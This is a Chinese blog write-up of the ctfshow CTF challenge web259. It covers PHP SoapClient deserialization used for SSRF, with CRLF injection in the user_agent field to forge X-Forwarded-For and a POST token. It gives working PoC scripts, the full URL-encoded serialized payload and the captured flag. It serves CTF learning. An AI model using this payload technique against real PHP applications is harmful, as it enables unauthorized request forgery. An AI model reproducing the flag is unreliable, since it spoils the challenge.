首页 > 其他分享 >ctfshow web259

ctfshow web259

时间:2023-06-26 11:00:43浏览次数:53  
标签:127.0 web259 Forwarded 0.1 22% 3A% flag ctfshow

考察点:

1,SSRF

2,Cloudflare代理服务器

3,CRLF

4,原生类反序列化

解题过程:

分析代码

<?php
highlight_file(__FILE__);
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//
array_pop($xff);
$ip = array_pop($xff);
​
if($ip!=='127.0.0.1'){
    die('error'); //bool
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
$vip = unserialize($_GET['vip']); //$vip =new bool();
//vip can get flag one key
$vip->getFlag();
} 

array_pop()函数:去除数组最后一个元素

file_put_contents函数:把$flag写入flag.txt

explode()函数:把字符串打散为数组

介绍完函数,分析一下去获取flag的过程。 题目中 array_pop()函数 使用了两次,最后将ip赋给$ip,

这里说一下这个 array_pop()函数两次的过程

假设:
                       处理后
X-Forwarded-For:x,y    ————>X-Forwarded-For:空                  
X-Forwarded-For:x,y,z  ————>X-Forwarded-For:x

这里尝试去伪造 X-Forwarded-For,发现不行,因为使用了Cloudflare,至于如何去判断一个网站是否使用了Cloudflare,附一篇文章如何判断一个网站是否使用CloudFlare反向代理服务? 服务器 Gind.cn

当我们主机去访问一个有couldflare的网站时,网站收到的访问者 IP 地址通常会被隐藏。Cloudflare 作为一个反向代理服务,通过其全球分布的边缘节点中继用户的请求。这样做的目的是保护网站的安全和隐私,防止直接暴露真实的 IP 地址。一般情况下,如果一个网站启用了 Cloudflare 并未进行额外的配置,它收到的访问者 IP 地址将是 Cloudflare 边缘节点的 IP 地址,而不是最终用户的真实 IP 地址。

尝试去想其他的方法,我们看到代码最后有一个 $vip->getFlag(),代码里面并没有getFlag()这个方法,想到了php的原生类,可以通过SoapCilent,这样就调用了__call魔术方法,这里我去学习了SoapCilent原生类,SoapClient反序列化SSRF - 知乎 (zhihu.com)这里就思路清晰了,通过原生类去SSRF,去以127.0.0.1访问flag.php,pos传一个参数token=ctfshow,之后 file_put_contents函数 将flag写入flag.txt,访问flag.txt获得flag

先在本地测试http请求头都需要修改什么东西,

<?php

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));

$client->AAA();
?>

在本地监听9999端口

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

我们需要添加 X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1 这样两次处理后, X-Forwarded-For:127.0.0.1 ,达到目的 但是我们还要去修改后面的头部,以及提交的token参数,这时候 Content-Type:,就需要修改了,这里要去了解CRLF,CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)

我们用\r\n去通过 User-Agent:去构造我们后面想要的头部 在本地测试一下效果,

<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->AAA();
//echo urlencode(serialize($client));
?>

效果:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数
Content-Type:application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow//长度13 下面的丢弃
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

题目测试:

http://4b52a02f-df92-4045-997b-3fe2208d5bad.challenge.ctf.show/?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A136%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 

成功执行,可以访问flag.txt了
ctfshow{e1c60ce6-b350-4fb5-961d-fe86246bee4c}

总结:

这道题考察了很多的知识点,还有很多自己的知识盲区,第一次去接触php的原生类,以及Cloudflare。

标签:127.0,web259,Forwarded,0.1,22%,3A%,flag,ctfshow
From: https://www.cnblogs.com/crazy168/p/17505094.html

相关文章

  • ctfshow web入门
    CTFshowweb入门命令执行web29<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-0400:12:34#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-0400:26:48#@email:[email protected]#@link:https://ctfer.com*/error_reporting(0......
  • ctfshow 极限命令执行
    极限命令执行1第一关<?php//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。//flag在根目录flag里,或者直接运行根目录getflagerror_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(......
  • CtfShow信息收集1-20攻略
    CtfShow信息收集1-20关攻略简单更新一下CTF关于信息收集的题目,总共20道,网站地址:https://ctf.show/challenges第一关我们可以看到提示:开发注释没有及时删除,所以直接右键查看源代码提交,过关!!!第二关第二关我们会发现右击什么也没法显示,提示内容为一切前端验证都为纸老虎,我......
  • CTFSHOW PARSE_URL
    第一关parse_url(string$url,int$component=-1):int|string|array|null|false本函数解析URL并返回关联数组,包含在URL中出现的各种组成部分。数组的元素值不会URL解码。本函数不是用来验证给定URL的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效......
  • ctfshow刷题笔记-misc入门
    ctfshow-misc入门图片篇(文件结构)misc241.在010Editor中打开文件,根据鼠标自动提示找到图片宽高对应的地方biWidth指定图象的宽度,单位是象素。biHeight指定图象的高度,单位是象素。2.修改图片高度为250px并另存3.打开后得到flagmisc251.从网上找到的脚本(将脚本和图片......
  • CTFSHOW
    RCE挑战1<?phperror_reporting(0);highlight_file(__FILE__);$code=$_POST['code'];$code=str_replace("(","括号",$code);$code=str_replace(".","点",$code);eval($code);?>把"."和&quo......
  • ctfshow终极考核
    信息收集这个环境就只涉及目录扫描了[18:04:02]200-43B-/.bowerrc[18:04:03]200-34B-/.gitignore[18:04:04]200-2KB-/.travis.yml[18:04:24]200-3KB-/page.php[18:04:28]200-19B-/robots.txt/robots.txt得到source.txt访问发......
  • ctfshow php特性
    web111源代码highlight_file(__FILE__);error_reporting(0);include("flag.php");functiongetFlag(&$v1,&$v2){eval("$$v1=&$$v2;");//这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值var_dump($$v1);//打印$$v1的值}if(isset($_......
  • 《CTFshow-Web入门》08. Web 71~80
    目录web71知识点题解web72知识点题解web73题解web74题解web75知识点题解web76题解web77知识点题解web78知识点题解web79题解web80知识点题解ctf-web入门web71知识点ob_get_contents():得到输出缓冲区的内容。ob_end_clean():清除缓冲区的内容,并将缓冲区关闭,但不会输出内......
  • 《CTFshow-Web入门》07. Web 61~70
    目录web61~65题解web66知识点题解web67知识点题解web68知识点题解web69知识点题解web70知识点题解ctf-web入门web61~65题解这几个题都和web58一样。可能内部禁用的函数不一样吧。但payload都差不多。不多解释了。以下解法随便挑一个即可。可能不同题会有部分函数被......